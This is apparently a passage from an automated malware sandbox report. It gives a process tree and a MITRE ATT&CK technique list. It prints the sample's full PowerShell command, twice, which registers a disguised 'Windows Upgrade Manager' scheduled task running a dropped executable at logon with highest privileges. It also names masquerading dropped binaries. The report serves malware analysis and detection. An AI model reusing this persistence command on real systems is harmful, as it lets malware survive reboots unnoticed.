    - - C:\Windows\SysWOW64\svchost.exe
        
        -k netsvcs
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7712
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
  2⤵
  PID:7840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10212

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3080

C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
"C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:6824

C:\Users\Admin\AppData\Local\Temp\28c5e5ba36\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\28c5e5ba36\Hkbsse.exe
1⤵
PID:1920

C:\ProgramData\msedge.exe
C:\ProgramData\msedge.exe
1⤵
PID:5788

C:\ProgramData\msedge.exe
C:\ProgramData\msedge.exe
1⤵
PID:6584

C:\Users\Admin\AppData\Local\Temp\28c5e5ba36\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\28c5e5ba36\Hkbsse.exe
1⤵
PID:5488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery